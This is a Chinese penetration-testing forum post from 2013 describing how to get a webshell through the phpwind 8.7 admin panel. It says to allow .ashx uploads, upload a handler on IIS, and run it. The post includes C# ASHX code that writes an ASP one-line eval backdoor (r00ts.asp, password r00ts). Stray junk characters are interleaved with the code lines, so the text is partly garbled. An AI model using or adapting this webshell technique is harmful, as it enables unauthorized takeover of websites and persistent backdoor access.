中国网络渗透测试联盟

标题: phpwind 8.7 后台拿shell [打印本页]

作者: admin    时间: 2013-7-26 12:41
标题: phpwind 8.7 后台拿shell
首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小
( j, N# k6 z5 H: ~& M$ j: |
) g+ N/ D% |. O5 ?) i. t群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx$ ^/ O3 ^8 p$ B* o! d; K% s
+ n9 L$ f. r/ ~) `. \$ k) \, ]
发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整
  X! ]9 r. H7 C) S) y; s! M
# D4 }! w- V' c7 o# N. S. `0 s然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx6 b& g9 i  z, C  e- W3 w

1 |( F# o; N: q7 e' n/ q打开之后空白 会在目录底下生成r00ts.asp 密码r00ts8 f3 e4 R) g* \& L# f
' G9 y0 G/ E' Y1 s3 p4 s
下面是代码:
0 d1 ?$ h! s6 l
9 q6 a! J8 R, _8 ^$ D<%@ WebHandler Language="C#"Class="Handler" %>. ?# j0 b. \+ x: n( G: s
using System;
$ v( ^/ O+ a5 P" Q5 O. [& tusing System.Web;0 v+ j) S2 {2 i7 }3 d3 k
using System.IO;6 M. k; f+ ^. p% Z
public class Handler : IHttpHandler {  k! [/ C6 R' C0 N/ A  P
public void ProcessRequest (HttpContext context) {
0 N3 A- ?) }3 Y( ?- E( e8 ~context.Response.ContentType = "text/plain";4 Y. H5 M* R0 d1 @9 J# z
StreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));1 Q& C/ S6 u! ]2 U  f$ f
file1.Write("<%eval request(\"r00ts\")%>");  ~' K) D2 ^' g
file1.Flush();6 ~' v" ]" P, x6 s* a
file1.Close();# B" }! l% E. I9 ?3 C
}( V- o0 B" l* X
public bool IsReusable {% S& Q  F. E, J: C7 ?
get {
1 H  r, N2 T# N( ~9 I( R( ?8 vreturn false;5 ~" L* F* ^% y/ _- E
}7 K+ Z" A) Z, N; C
}
# c; T4 P! ~: ]  K}; b7 i+ K: K% \, i0 f





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2